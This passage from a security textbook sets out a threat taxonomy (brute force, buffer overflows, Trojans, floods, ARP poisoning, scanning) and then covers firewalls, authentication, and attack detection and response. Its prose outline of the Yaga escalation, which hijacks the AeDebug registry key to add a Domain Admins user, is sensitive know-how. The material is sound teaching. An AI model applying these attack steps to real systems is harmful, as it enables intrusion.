to be dropped by the router, and thus denying services to legitimate users. Hence, the design
fault of the best effort service model makes all computer and network resources vulnerable to
Denial of Service (DoS) attacks.

The best effort service model can also cause other problems such as unstable service even
when there are no DoS attacks. Consider the timely delivery of data which requires a guar-
antee of an end-to-end delay. Under the best effort service model, the timely data delivery
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performance varies over time since it depends on the availability state of computer and
network resources at a given time or how much other data is competing for computer and
network resources at the same time. Traffic congestions on the Internet have occurred and
caused a significant delay of data transmission. Hence, the time of completing service for
the same job at a given computer or network resource (e.g., router) and cumulatively over
a number of resources on an end-to-end path can vary to a large extent or be unstable un-
der the best effort service model, resulting in the lack of service stability, dependability and
guarantee.

1.3.9 Unknown error

Computers and networks have many unknown security holes and thus possess vulnerabilities
which have not been exposed in existing known attacks.

1.4 THREATS

Security threats to the availability, confidentiality and integrity/non-repudiation state of com-
puter and network assetsmay involve physical actionsor cyber actions. Physical threatsinclude
natural threats (e.g., flood and lightning) and man-made threats (e.g., physical break-in to de-
stroy or take away computers and network devices). This book is concerned with mainly cyber
threats through computer and network means.

1.4.1 Objective, origin, speed and means of threats

Cyber security threats can be characterized by many factors such as motive, objective, ori-
gin, speed, means, skill, resource, and so on. For example, there may be a political motive
for the massive destruction of computer and network assets at a national level, a financial
motive for gathering and stealing information at the corporate level, and a personal motive
for overcoming the technical challenge to vandalize or gain access to a computer and net-
work system. Objectives can vary from gathering or stealing information to gaining access,
disrupting or denying service, and modifying or deleting data. In general, a threat can come
internally or externally. An internal threat or insider threat comes from a source which has
access rights but abuses them. An external threat comes from a source which is not authorized
to access a computer and network system. Some attacks are scripted and automatically exe-
cuted with little human intervention, producing a machine speed of attack execution, whereas
other attacks are performed through manual interactions with a computer and network sys-
tem and thus proceed slowly. An attacker can have no sophisticated skills and little resources
but simply execute a downloaded attack script. Nation- or organization-sponsored attacks
can use sophisticated skills and knowledge about computers and networks with unlimited
resources.

Table 1.4 gives some examples of threat means with examples of known attacks using those
means. Table 1.4 can be expanded when new attack means become known. The following
sections explain each threat mean and examples of known attacksin Table 1.4.
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Table1.4 Examples of threat means with known attacks using those threat means

Means of threats

Known examples

1. Brute force attack

2. Bypassing

3. Code attachment

4. Mobile code
5. DoS

6. Tampering

7. Man in the middle

8. Probing and scanning

9. Spoofing

10. Adding
11. Insider threat

1.1 Remote dictionary attack [20]

2.1 Bypassing service access
2.1.1 Buffer overflow, e.g., WarFTP [21], RootKit [22], botnets
[23], Slammer worm [24]
2.1.2 Backdoor, e.g. RootKit [22]
2.1.3 Trojan program, e.g., Netbus Trojan [24-25]
2.1.4 Maformed message command attack, e.g., EZPublish [26]
and SQL query injection
2.2 Bypassing information access
2.2.1 Covert channel exploitation, e.g., steganography

3.1 Virus

3.2 Adware and spyware

3.3 Embedded objectsin files, e.g., macrosin Microsoft WORD and
EXCEL

4.1. Worm [12]

5.1 Flooding, e.g., fork bomb attack [27], Trinoo network traffic DoS
[28], UDP storm [12], TCP SY N flood [12]

5.2 Malformed message, Apache web server attack [30], LDAP [31]

5.3 Destruction

6.1 Network tampering, e.g., Ettercap ARP poison [32], DNS poison [12]
6.2 File and process trace hiding, e.g., RootKit [22]

7.1 Eavesdropping, e.g., Ettercap sniffing [32]
7.2 Software and hardware keylogger [33, 34]

8.1 NMAP [35], Nessus [36], traceroute [12]

9.1 Masquerading and misdirecting, e.g., email scams through phishing
and spam, ARP poison attack [32], DNS poison attack [12]

10.1 Adding new device, user, €tc., e.g., Yaga[37]

11.1 User error

11.2 Abuse/misuse, e.g., security spill, data exfiltration, coerced actions,
privilege elevation, etc.

1.4.1.1 Bruteforce attack

A brute force attack involves many repetitions of the same action. A known example of abrute
forceattack isaremotedictionary attack, e.g., using Tscrack 2.1[20] which attemptsto uncover
the administrator’s password on a computer with a Windows operating system and terminal
services or remote desktop enabled. The attack is scripted to try words from a dictionary one
by one as a password for a user account until alogin is successful. Most user accounts will
be locked out after about three incorrect login attempts. However, the administrator’s account
should never get locked out.
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1.4.1.2 Bypassing attack

A bypassing attack avoids a regular way of accessing an asset or €levating access privileges
but instead uses an unauthorized or covert way. For example, a WarFTP attack using Warftpd
[21] exploits a buffer overflow vulnerability to load an attack code through an input to a
running process and to execute the attack code with the same privileges of the running process,
thus bypassing the regular procedure and method of loading a program code and starting the
corresponding process. The attack code installed through Warftpd opens a shell environment
for an attacker to remotely control the victim computer.

In addition to exploiting a buffer overflow vulnerability, Rootkit [22] installs a backdoor
whichisaprogram running at an uncommonly used network port to avoid notice. The program
listens to the port and accepts an attacker’s request to access a computer, thus allowing the
attacker to bypass regular network ports (e.g., email and web) and corresponding service
processes of accessing acomputer. Rootkit typically altersitstrace on the operating systemin
order to hideitself.

Bots (short for ‘robots’) [23] are programs that are covertly installed on a user’s computer
in order to allow an unauthorized user to control the computer remotely. In a botnet, bots
or zombies are controlled by their masters. Botnets have been established through the IRC
communication protocol or a control protocol.

Slammer worm [24] spreads from an infected host by sending out UDP packetsto port 1434
for Microsoft SQL Server 2000 at random | P addresses. Each packet containsabuffer overflow
attack and a complete copy of the worm. When the packet hits a vulnerable computer, a buffer
overflow occurs, allowing the worm to execute its program on the new victim computer. Once
admitted on the new victim computer, the worm installs itself, and then begins sending out
packets to try and locate more computers to infect.

In a Netbus Trojan attack [25], an attacker tricks a user to install a game file in an email
attachment containing a copy of the Netbus server program or to click a web link. When
the user installs the game, the Netbus server also gets installed. The attacker can then use
the Netbus server as aback door to gain access to the computer with the same privileges asthe
user who installsit. Hence, the Netbus Trojan server isinstalled without the notice of the user,
thus bypassing the regular procedure and method of loading a program code and starting the
corresponding process.

EZpublish is a web application for content management. In an EZPublish attack [26], a
remote user sends a specialy crafted URL which gives the user the site.ini file in the settings
directory which would have not been accessible by anon-administrative user. Thefile contains
the username, password, and other system information.

A covert channel is used to pass information between two parties without others noticing.
What makesthe channel covert isthat information isnot expected to flow over the channel. For
example, adigital image is expected to convey the image only. However, steganography hides
secret information in adigital image by changing asmall number of binary digitsinthedigital
image. As aresult, the change in the image is hardly noticeable. For example, the following
digital image:

00101001
00101001
00101010
00101100
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00101001
01110010

can be used to hide a message, 010001, by embedding the digits of the message as the last
column of the digits in the image as follows and thus changing three digits in the original
image:

00101000
00101001
00101010
00101100
00101000
01110011.

1.4.1.3 Code attachment

Many formsof virus, adware, spyware, and other forms of malware areinstalled on acomputer
through afile in an email attachment or an embedded object such as macro in a file. When
a user clicks and executes the file in the email attachment, the malware is installed on the
computer.

1.4.1.4 Mobile code

Mobile code is a software program sent from aremote computer, transferred across a network,
and downloaded and executed on alocal computer without the explicit installation or execution
by auser. For example, unlike avirus code which must attach itself to another executable code
such asaboot sector program or an application program, aworm propagatesfrom one computer
to another computer without the assistance of a user.

1.4.1.5 Denial of Service (DoS)

An DoS attack can be accomplished by consuming all the available capacity of aresource or
destroying the resource. Generating aflood of service requestsisacommon way of consuming
all the available capacity of a resource. Some examples of DoS attacks through flooding are
the fork bomb attack, Trinoo network traffic DoS, UDP storm, and TCP Syn flood.

A form bomb attack, e.g., Winfb.pl [27], floods the process table by creating a fork bomb
in which a process fallsinto aloop of iterations. In each iteration, a new process is spawned.
These new processes clog the process table with many new entries.

Trinoo [28] produces an DDoS attack. The Trinoo master controls an army of Trinoo
zombies which send massive amounts of network traffic to a victim computer and thus flood
the network bandwidth of the victim computer.

An UDP storm attack [12] creates a never-ending stream of data packets between the UDP
echo ports of two victim computers by sending a single spoofed data packet. First, an attacker
forges and sends a single data packet, which is spoofed to appear asiif it is coming from the
echo port on the first victim computer, to the echo port of the second victim computer. The
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echo service of the second victim computer blindly responds to the request by echoing the
data of the request back to the echo port of the first victim computer which appears to send
the echo request. The loop of echo traffic thus starts and continues endlessly.

A TCP SYN flood attack [12] exploits a design fault in a network protocol, TCP, which
requires a three-way hand shake to establish a connection session between two computers
[29]. The three-way hand shake starts with a SYN data packet from one computer to another
computer which registers a half-open connection into aqueue. Once the three-way hand shake
is completed when the connection is established, its corresponding hal f-open connection entry
in the queue is removed. In a TCP SYN flood attack, an attacker sends a large number of
TCP SY N packets using a spoofed source | P address to a victim computer, making the victim
computer busy responding to these connection requestswhich fill up the half-connection queue
and make the victim computer unable to respond to other legitimate connection requests.

A malformed message is aso used by some attacks to create an overwhelming amount
of service requests for DoS. In an Apache web server attack [30], a malformed web request
with alarge header is sent to an Apache web server which is fooled into allocating more and
more memory to satisfy the request. Thisresultsin either the crash or significant performance
degradation of the web server. An LDAP attack [31] exploits a vulnerability on a Windows
2000 operating system which alows an attacker to send a specially crafted LDAP message to
aWindows 2000 domain controller, causing the service responsible for authenticating usersin
an Active Directory domain to stop responding.

1.4.1.6 Tampering

Tampering has been used to corrupt network assets, such as the Address Resolution Protocol
(ARP) table and the Domain Name System (DNS) table, and host assets, such as process and
filelogs. In an Ettercap ARP poison attack [32], an attacker sends out an ARP request to every
IP address on aloca network for the corresponding MAC address. The attacker then sends
spoofed ARP replieswhich contain the mapping of the M AC address of the attacker’scomputer
tothe | P addresses of other computers on the network. Other computers on the network take the
false information in the ARP replies and update their ARP tables accordingly. Consequently,
network traffic datasent by all computerson the network are directed to the attacker’s computer
which can then direct network traffic to their intended destinations, modify traffic data, or drop
traffic data. Ettercap automatically pulls out usernames and passwords if they are present in
network traffic data. It also hasthe ability to filter and inject network traffic. In an DNS poison
attack [12], the DNStable, which is used to convert a user-readable | P address in atext format
into a computer-readable IP address in a numeric format, is corrupted. Rootkit [22] hides its
trace on a computer by altering file and process logs.

1.4.1.7 Man in the middle

Threats through the means of man in the middle have an attacker positioned in the middle of
two partiesto intercept or redirect information between the two parties. Eavesdropping through
anetwork sniffer such as Ettercap [32] passively intercepts network datatraveling through one
point (e.g., arouter) on a network, without significantly disturbing the data stream. Etthercap
is also capable of performing decryption and traffic analysis which collects measures to give
an indication of actionstaking place, their location, source, etc.
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A hardware keylogger, such as the keykatcher 64K mini [33], plugs in between the back
of the computer and the keyboard, and intercepts keystrokes. A software keylogger, such as
Windows Key logger 5.0 [34], intercepts system calls related to keyboard events and records
every keystroketo afile. Systems calls are used by a user-space program to have the operating
system perform act on the behalf of the user-space program.

1.4.1.8 Probing and scanning

Probing accesses an asset to determine its characteristics. Scanning checks a set of assets
sequentialy to look for a specific characteristic of these assets. NMAP [35] and Nessus [36]
are common network scanning and probing tools to find open ports on a range of computers
aswell asthe operating system and network applications running on those ports and to test for
numerous vulnerabilities applicable to identified operating systems and network applications.

A traceroute attack [12] exploits a network mechanism which usesthe Time-To-Live (TTL)
field of apacket header to prevent the endless traveling of adata packet on anetwork. When a
router receives data packet, the router decreases the TTL value of the data packet by 1. If the
TTL value becomes zero, the router sends an ICMP Time Exceeded message containing the
router’s | P address to the source of a data packet. In the attack, a series of data packets with
incrementally increasing Time-To-Live (TTL) valuesin their packet headers are sent out to a
network destination. As a result, the attacker at the source receives a number of ICMP Time
Exceeded messages which reveal the IP addresses of consecutive routers on the path from the
source to the destination.

1.4.1.9 Spoofing

Spoofing usually involves one subject masquerading as another subject to the victim and
consequently misguiding the victim. In email scams through phishing and spam, attackers
send out bogus emailsto trick and misdirect usersto fake web sites which resembl e legitimate
ones, in order to obtain personal or confidential information of users. In an ARP poison attack
[32], aspoofed MAC address is used to redirect network traffic.

1.4.1.10 Adding

Adding a user account, a device or another kind of computer and network assets can aso
occur in an attack. For example, Yaga is a user-to-root attack on a Windows NT computer
[37]. An attacker puts a program file on a victim computer and edits the victim's registry
entry for: HKEY_LOCAL _MACHINE_SOFTWARE\Microsoft\ WindowsNT\CurrentVersion\
AeDebug, through atelnet session. The attacker then remotely crashes a service on the victim
computer. When the service crashes, the attacker’s program, instead of the standard debugger,
is invoked. The attacker’s program runs with administrative privileges, and adds a new user
to the Domain Admins group. Once the attacker gains administrative access, the attacker
executes a cleanup script which deletes the registry entry and removes the attacker’s program
file for covering up the attack activities.
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1.4.1.11 Insider threat

Insider threats represent any attack meanswhich can be employed by those who have accessto
computers and networks and thus pose threats from within. For example, attacks, such as Yaga
[37] involving the privilege elevation of a non-privileged user, can be considered as insider
threats.

Ingeneral, insider threatsfall into two categories of user error and abuse/misuse. For exam-
ple, auser error occurs when a user unintentionally deletes afile, modifies data, or introduces
other kinds of asset damage. Abuse/misuse involves an insider’s inappropriate use of access
rights and privileges.

Abuse/misuse includes, for examples, elevating privileges (e.g., in Yaga [37]), exceed-
ing permissions, providing unapproved access, circumventing security controls, damaging
resources, accessing or disclosing information without authorization or in an inappropriate
manner (i.e., security spill and data exfiltration), and conducting other kinds of malicious or
inappropriate activities. Security spill borrows a concept from the discipline of toxic waste
management to indicate a release or disclosure of information of a higher sensitivity level to
a system of alower sensitivity level or to a user not cleared to see information of the higher
sensitivity level. Data exfiltration indicates a situation in which data goes to where it is not
supposed to be. When an insider is captured by the enemy, coerced actions of the insider
produce a misuse situation. Google AdSense abuse and online poll abuse are also examples of
insider abuse/misuse.

1.4.2 Attack stages

A sophisticated attack may go through the following stages using various attack means: recon-
naissance, probing and scanning, gaining access, maintaining access, attacking further, and
covering itstrack [12]. Reconnaissance aims at |earning about the topology and configuration
(e.g., IP addresses) of a victim system often through publicly available information without
directly interacting with the system. Means of reconnaissance includes social engineering,
browsing of public web sites, and investigating public data sources such as who-is databases
containing information about the IP domain of a victim system. Information obtained from
reconnaissance activities can be used to assist later phases of an attack. Probing and scanning
usually aim at discovering vulnerabilities of a victim system. Those vulnerabilities are then
exploited to gain access to the victim system through attack means such as buffer overflow,
which leads to the installation of a backdoor, addition of a user account, or other easy or safe
ways of gaining accessto the victim system. With accessto the victim system, the attacker may
go further by reading sensitive files, modifying data, damaging assets, using the victim system
asaspringboard to attack other systems, and so on. Just like RootKit, attacks may avoid detec-
tion by removing or covering their traces. Not every attack engages all the above phases. For
example, an TCP SY N flood attack can be conducted without gaining accessto avictim system.

1.5 ASSET RISK FRAMEWORK

An asset risk framework is defined to include the risk assessment concepts and cause—effect
chain concepts described in Sections 1.1-1.4. A security incident, which is arealized security
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[ INCIDENT

Risk [ THREAT ] [ VuLNERABILITY] | ASSET

Chausereffecl‘ CAUSE: Activity | EFFECT: State and Performance Change
chain:

OBJECTIVE ORIGIN SPEED MEANS OF ACTIONS VULNERABILITY ASSET STATE CHANGE| [PERFORMANCECHANGE
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Gain access Internal Automated Bypassing Coding C resources | | C Accuracy
Disrupt or deny service Code c ) g resources Integrity/ Precision
Modify or delete data Mobile code System resources Non-repudiation
Dos Processes

Tampering Users

Man in the middle
Probing and scanning
Spoofing
Adding
Insider Threat

Figure 1.3 Theanalysisof asecurity incident based on risk assessment and cause-effect chain.

risk, involves threat, vulnerability, and computer/network asset, as illustrated in Figure 1.3.
A threat is characterized by its objective, origin, speed, means of actions, and possibly other
factors. Actions of athreat exploiting avulnerability of an asset are activities which cause the
effect of state and performance changes in a cause—effect chain of a security incident.

For example, a threat coming from an external source at an automated execution speed
has the objective of gaining access, uses the attack means of bypassing, acts on a network
process—a processing resource—to request a network service with a lengthy, crafted input,
and thus exploits the buffer overflow vulnerability of the asset which is attributed to a coding
fault. This activity is the cause of state and performance changes related to this asset and
possibly the reason for activities, state changes and performance changesrelated to some other
assets.

1.6 SUMMARY

This chapter gives an overview of computer and network security from the risk assessment
perspective, and defines an asset risk framework which addresses:
o three elements of a security risk: asset, vulnerability and threat;

o three general types of computer and network assets: resources, processes, and users, which
all form their own hierarchies;

® aresource—process-user interaction, producing acause—effect chain of activity, state change
and performance change;

e major security aspects of a resource state: availability, confidentiality, and integrity/non-
repudiation;

o three primitive performance aspects: timeliness, accuracy and precision;

e avariety of computer and network vulnerabilities due to specification/design, coding and
configuration faults;

e athreat and its objective, origin, speed, and means of actions.
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Protection of computer and
network systems

Protecting the security of computer and network systems against cyber threats requires three
areasof work: prevention, detection, and response. Prevention aimsat strengthening acomputer
and network system to make the realization of a threat more difficult and thus to reduce the
likelihood of athreat. However, determined, organized, skilled attackers can overcome attack
difficulties created by the prevention mechanism to break into acomputer and network system
by expl oiting known and unknown system vulnerabilities. Hence, detectionisrequired to detect
an attack acting on acomputer and network system, identify the nature of the attack, and assess
the impacts (e.g., the origin, path and damage) of the attack. Detection of an attack calls for
the appropriate response to stop the attack, recover the system, and correct the exploited
vulnerability, all based on diagnostic information from the attack assessment part of the attack
detection. The following sections discuss each areain more details. This chapter also outlines
various methods of security protection which are described in Parts 11-V11 of this book.

2.1 CYBER ATTACK PREVENTION

Most of prevention mechanismsin practical usefocuson accessand flow control on acomputer
and network system. Research efforts are also being undertaken to design secure computers
and networks.

2.1.1 Access and flow control

Accessand flow control technologiesare not covered indetail in thisbook. Somerepresentative
examples of access and flow control technologies, specifically firewalls and authentication/
authorization, are briefly reviewed in this section.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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2.1.1.1 Two forms of firewalls: screening routers and application gateways

A firewall isusualy installed on arouter or an application gateway that controlsincoming and
outgoing traffic of a protected computer and network system. A firewall on a router, caled
a screening router, filters traffic data between a protected system and its outside world by
defining rules which are applicable to mostly header fields of data packets at the TCP and IP
layers of the TCP/IP protocol. The data portion of a network packet may not be readable due
to the encrypted application data, and therefore is not usually used to define filtering rulesin
thefirewall. A list of typical TCP/IP header fieldsis asfollows:

e Time

e Source |P address

e Source port

o Destination IP address
e Destination port

e Flags, a combination of TCP control bits: S (SYN), F (FIN), P(PUSH) and R(RST), or a
single‘. for no flags

e Sequence number
e Acknowledge number
e | ength of data payload

o Window size, indicating the buffer space available to receive data to help the flow control
between two host computers

e Urgent, indicating that thereis ‘urgent’ data
e Options, indicating TCP optionsif there are any.

A filtering rule can look for specific types of values in one or more header fields, and allow
or deny data packets based on these values. TCP/IP headers have information on the source
IP address and port, the destination IP address and port, etc. Using the header information, a
screening router can deny data packets from a specific source IP address, block data packets
targeting specific network ports running vulnerable network services, prevent certain types of
data packets such as those containing ICM P Echo Reply messages from going out, and so on.
Table 2.1 shows some examples of filtering rules for a screening router.

Table2.1 Examples of filtering rules for a screening router

Decision Source | P address Destination port
Deny In alist of bad host computers Any
Allow Not in alist of bad host computers TCP port 80

Deny Any TCP port 21
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A Protected
Computer and
Network System

Proxy Screening

Gateway Router | Outside Network

Figure2.1 Anexample of afirewall configuration.

A firewall can also beinstalled on acomputer running proxy network applications, called a
proxy gateway or application gateway [1]. A proxy gateway transforms network data packets
into application databy performing pseudo-application operations. Using information available
at the application layer, a proxy gateway can block access to specific services (e.g., certain
FTP commands) of an application, and block certain kinds of data (e.g., a file attachment
with a detected virus) to an application. For example, a proxy gateway running a pseudo-FTP
application can screen FTP commandsto allow only acceptable FTP commands. Sophisticated
proxy gateways are called guards that carry out sophisticated computation tasks for filtering.
For example, aguard may run an email application, perform virus scanning on file attachments
to emails, and determine whether to drop or alow file attachments.

Figure 2.1 showsalfirewall configuration using both ascreening router and aproxy gateway.
The screening router performstheinitial datafiltering based on the header information that is
available at the TCP/IP layers. The proxy gateway, which isahost computer inside a protected
computer and network system, performs the further data filtering based on information that
is available at the Application layer. The firewalls control the entire network perimeter of
the protected computer and network system so that all traffic between the system and its
outside network must pass through the firewalls. However, amodem on ahost computer inside
the protected system can be overlooked but be exploited by an attack to have traffic bypassing
thefirewallsthrough the modem and thus break thefirewall protection of the system. Although
limiting user access to given network services with known vulnerabilities through firewalls
raises the difficulty of attacks exploiting those vulnerabilities, acomputer and network system
isnot completely free from security threats dueto its connection to the outside network through
common network services such as emails and the WWW as well as many unknown system
vulnerabilities.

2.1.1.2 Authentication and authorization

Authentication and authorization work together to control a user’'s access to computer and
network assets. Through authentication, auser isverified to betruly what the user claimsto be.
Through authorization, a user is granted access rights to computer and network assets based
on the user’s authenticated identity. Table 2.2 shows examples of READ (R), WRITE (W)

Table2.2 Examplesof users accessrightsto files

Users Filel File2 File3 Directory 1 Printer file
User 1 RWE RW None None w
User 2 None None RwW RwW W
User Group 1 R R R R w

Everyone R None None None None
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and EXECUTE (E) rights to given files which are assighed to some users and user groups. In
addition to access rights to individual computer and network assets, flow control policies can
also be specified to control the information flow between computer and network assets.

A username and a password are commonly used for user authentication. In addition to
information keys such as passwords, there are also physical keys such as magnetic cards and
security calculators, and biometric keys such as voice print, finger print, and retinal print.

Just like acredit card, amagnetic card containstheidentity of the card holder. In addition to
amagnetic card, auser may have to enter a personal identification number. One disadvantage
of using amagnetic card as akey isthat a card reader needs to be attached to each computer.
A security calculator is not uncommon in practice. To use a security calculator, a user first
presents ausername to a computer and network system. The system responds with achallenge
value. The user enters a persona identification number along with the challenge value into
the security calculator. The security calculator computes a response value. The user presents
theresponse value asthe key to the system. If the response val ue matches the expected response
value computed by the system, the user is successfully authenticated. Hence, the system must
store the personal identification number for each username. An advantage of using a security
calculator is that the response value as the key to pass the authentication process changes
with the challenge value. Since different challenge values are usually generated at different
times, response values as keys change at different timeswhen the systemisused. This makesit
difficult to guess the key each time when the computer isused. Even if abreak-inis successful
using a key, the key cannot be used the next time for break-in. Moreover, a user must have
the right personalized security calculator and the correct personal identification number to
compute the correct response value as the key.

A voice print, afinger print, and aretinal print, which is ablood vessel pattern on the back
of an eye, and a hand geometry are examples of biometric keys. Like a magnetic card, those
biometric keys need a specia device attached to a computer and a network system to read and
recognize these biometric keys.

A digital signature has become an increasingly popular method of authenticating the sender
of adigita document. For example, using a public key cryptographic algorithm such as the
Rivest-Shamir-Adelman (RSA) algorithm [2], the sender of a digital document has a pair of
a private key and a public key which is known by others. The sender first uses the private
key to encrypt the document as away of signing the document, and then sends the encrypted
document to a receiver. If the receiver of the document can use the sender’s public key to
decrypt the document, this proves that the document is truly signed by the sender since only
the sender knows the private key which matches the public key.

A public key cryptographic algorithm can also be used to encrypt data in transmission or
data in storage to protect the confidentiality or the integrity of those computer and network
assets because encrypted data cannot easily be read or modified by others. Take the example of
protecting data in transmission over a network. The sender of data can encrypt the data using
thereceiver's public key. The encrypted data can be decrypted using only the private key which
is paired with the public key and is known by the receiver only. Hence, only the receiver can
use the private key to decrypt the data. Details of cryptographic algorithmsfor dataencryption
and decryption can be found in [2].

User authentication is a part of an authorization process which determines which access
rights are granted to which computer and network assets for an authenticated user. Hence,
authorization controls a user's access to computer and network assets, and can also limit
information flow between computer and network assets. Authentication/authorization aims at
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access and flow control by limiting each user to the user’s own work space on a computer and
network system.

Unfortunately, many assets on acomputer and network system are shared by multiple users,
thereby creating acommon work environment for multiple users. Such shared assetsincludethe
processor, the main memory, the hard disk, the network, and so on. As discussed in Chapter 1,
an attacker’s mischief to the common environment shared by multiple users can produce
vulnerabilities in security violations. There are also possibilities of bypassing as discussed in
Chapter 1. Hence, like firewalls, access and flow control through authentication/authorization
increases attack difficulty, but cannot completely prevent attacks.

2.1.2 Secure computer and network design

Instead of restricting asset access and information flow to only authorized users and/or activi-
ties, efforts on secure computers and networks aim to remove computer and network vulner-
abilities by reducing or eliminating specification/design, coding, configuration and operation
management faults. Secure computer and network design has been addressed from many per-
spectives, such asimproving software engineering practice to reduce system design and coding
faults, developing fault tolerance technologies to enable a computer and network system to
sustain its operation under an attack, introducing automated network management tools to
reduce or eliminate system configuration faults [3, 4], developing new service models [5-10]
to address system design faults and vulnerabilitiesintroduced by the best effort service model,
or designing secure system architectures and policy-based security protection, and so on.

Research on an asset protection-driven security architecture and policy-based security pro-
tection is described in Chapter 3. The policy-based security protection in an asset protection-
driven security architecture is developed using the asset risk framework (see Chapter 1) to
provide the advantages of threat coverage, adaptability and robustness in security protection.
Chapters 4-6 describe admission control, job scheduling and the job reservation components
of anew service model which has been devel oped to guarantee the end-to-end delay of acom-
puter and network job over aglobal network such asthe Internet and ensure service stability of
local-level computer and network resources. Hence, Part |1 presents some specific examples
of how to design secure computer and network systems.

2.2 CYBER ATTACK DETECTION

Aslong as a computer and network system allows access to the system even in limited ways,
determined and organized attackers with sophisticated skills and plentiful resources (e.g.,
organi zation-sponsored attackers) can break into the system through the limited access due to
many known and unknown system vulnerabilities. In reality, a computer and network system
usually includes software which is released by commercial software vendors without being
fully tested and evaluated as free from security holes. Areas of software vulnerabilities are
usually discovered and madeknown only after security incidentsoccur and exposetheexploited
vulnerabilities.

Detection providesanother layer of protection against security threats by monitoring system
data, detecting security-related events, and analyzing security incidents to trace their origin
and path, assess their impact, and predict their development. The following sections define
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data, events and incidents, and outlines detection methodol ogies which are described in detail
in Parts 111-VII.

2.2.1 Data, events and incidents

There are two kinds of data to capture activities, state changes and performance changes on
computers and networks: network data and host computer data [11]. Currently, network data
comes from either raw data packets or tools which provide network traffic statistics, network
performance information [12], etc. Host datareflects activities, state changes and performance
changes on a host computer. There are facilities and tools to collect data from various com-
puter and network platforms, such as Windows, Linux, and UNIX-based operating systems.
Table 2.3 gives some examples of network and host data which can be collected using a
Windows operating system.

Different auditing/logging facilities and tools provide different kinds of system data. For
example, system log data from Windows captures auditable events generated by given sys-
tem programs (e.g., login, logout and privileged programs for network services). Information
recorded for each auditable event may reveal, for example:

e time of the event;

e type of the event;

e user generating the event;

® process requesting the event;
e object accessed in the event;

e return status of the event.

Windows performance objects collect activity, stateand performancedatarel ated to many com-
puter objects, such as Cache, Memory, Network Interface, System, etc. An example of activity
variables is Network Interface\ Packets/sec which records the number of packets sent and re-
ceived through the network interface card. An example of state variablesis Memory\ Available
Bytes which measures the amount of memory space available. An example of performance
variables is Process (_Total)\ Page Faults /sec. A page fault occurs when athread refersto a
virtual memory page that is not in its working set in main memory.

Certain applications, e.g., the web application, come with their own logging facilities. Log
data provided by a web application may record information such as the source I P address of

Table2.3 Network and host data from a Windows operating system

Data collected Facility or tool used
Logs of system, security and application events Windows event viewer
Performance logs Performance objects
Registry logs Regmon

Network traffic data Windump
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the user accessing aweb site, user 1D, session ID, time of the web request, web file requested,
number of bytes returned for the request, etc.

Part I11 of this book gives a detailed description of computer and network data, especialy
data features and characteristics of attack norm and normal use data[13], which are useful in
attack detection. Specifically, Chapter 7 describes the Windows performance objects collected
under 11 attack conditions and two normal use conditions of text editing and web browsing.
Chapter 8 focuses on a descriptive statistic feature, the mean feature, as well as attack and
norm data characteristics which manifest in the mean feature of computer and network data.
Chapter 9 describes another statistical feature, probability distribution, which also reveas
attack and norm data characteristics. Chapter 10 discusses how a time-series data feature,
autocorrelation, is used to discover attack and norm data characteristics. Chapter 11 presents
attack and norm data characteristics that are discovered using the time-frequency wavelet
feature of computer and network data.

Security events, which are detected while monitoring computer and network data, are as-
sociated with specia phenomena produced in a security incident of athreat attacking system
assets by exploiting system vulnerabilities. The definition of security events varies with dif-
ferent methodologies of attack detection. For example, a signature recognition methodol ogy
of attack detection [14-16] defines a match of observed data with a known attack signature
as a security event. An anomaly detection methodology of attack detection [14—-16] considers
alarge deviation from anormal use profile as a security event. Parts IV-V| describe in detail
security events which are detected in various methodol ogies of attack detection.

Since asecurity incident has a series of events along its cause—effect chain, analyzing secu-
rity incidentsinvolveslinking and correlating detected eventsin a security incident, producing
an accurate picture of the incident’s cause—effect chain with the origin, path and impact in-
formation, and predicting the incident’s development. That is, a security incident is defined
as a cause—effect chain of events produced by athreat attacking certain system assets through
exploiting certain system vulnerabilities. Part V11 describes security incident assessment.

2.2.2 Detection

There are three means of attack event detection: signature recognition, anomaly detection,
and attack norm separation. Signature recognition uses signature patterns of attack data (e.g.,
three consecutive login failures), which are either manually captured by human analysts or
automatically discovered by mining attack and norm data in contrast, to look for matches in
observed computer and network data. A match with an attack signature resultsin the detection
of an attack event. Hence, signature recognition relies on the model of attack data to perform
attack detection. Most existing commercial Intrusion Detection Systems (IDS) [17] employ the
methodology of signature recognition. Part IV gives two techniques for representing and rec-
ognizing attack signatures, data clusters[18-21] in Chapter 12 and Artificial Neural Networks
(ANN) in Chapter 13.

Anomaly detection first defines the profile of normal use behavior (norm profile) for a
computer or network subject of interest, and raises the suspicion of an ongoing attack if it
detects alarge deviation of the observed datafrom the norm profile. Hence, anomaly detection
relies on the model of normal use datato perform attack detection. Part V' describes statistical
anomaly detection techniques[22—29] in Chapter 14 and Markov chain techniquesfor anomaly
detection [30-31] in Chapter 15.
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Unlike signature recognition and anomaly detection, attack norm separation [13, 32, 33]
relies on both an attack model and a normal use data model to detect and identify an attack
which often occurs at the same time when there are also ongoing normal use activities. The
occurrence of an attack during ongoing normal use activities produces the observed data that
contains the mixed data effects of the attack and normal use activities. Considering that the
observed computer and network dataisthe mixed attack and norm data, attack norm separation
first usesthe normal use datamodel to cancel the effect of normal use activitiesfrom the mixed
attack and norm data and then uses the attack data model to detect and identify the presence
of the attack in the residual data after canceling the effect of the normal use data. Chapters 16
and 17 present cuscore detection models [34] that use developed mathematical or statistical
models of attack and normal use data to perform attack norm separation.

2.2.3 Assessment

Attack assessment analyzes a security incident by linking and correlating the detected events
of a security incident in the cause—effect chain to reveal the origin, path, impact and future
development of the security incident. Existing solutions of attack assessment [35, 36] rely
on mainly prior knowledge of known threats. An event may manifest in several data features
and thus produce several detection outcomes from different techniques monitoring different
features of the same data stream. An event may be involved in more than one attack. Hence,
event optimization is necessary to determine the optimized set of events which correspond to
the smallest number of events with the largest coverage of various attacks. Part V11 addresses
these issues of attack assessment. Chapter 18 describes an Integer Programming method of
determining the optimized set of events or attack data characteristics to uniquely identify
individual attacks. Chapter 18 also presents the attack profiling method [37] to spatially and
temporally correlate events of a security incident in the cause—effect chain.

2.3 CYBER ATTACK RESPONSE

Diagnostic information from attack assessment is the key input when planning the an attack
response which includes stopping an attack, recovering an affected system, and correcting the
exploited vulnerahilities. In practice, attack response mostly has been planned and performed
by system administrators or security analysts manually [38]. Stopping attacks often involve
sending out notifications, disconnecting a user, terminating a connection, process or service,
or disabling a user account, etc. [7, 8, 17, 35]. Recovering an affected system often requires
reinstalling programs and using backup datato bring the systemto apre-attack state. Correcting
vulnerabilities must specifically address the exploited vulnerabilities which can be diagnosed
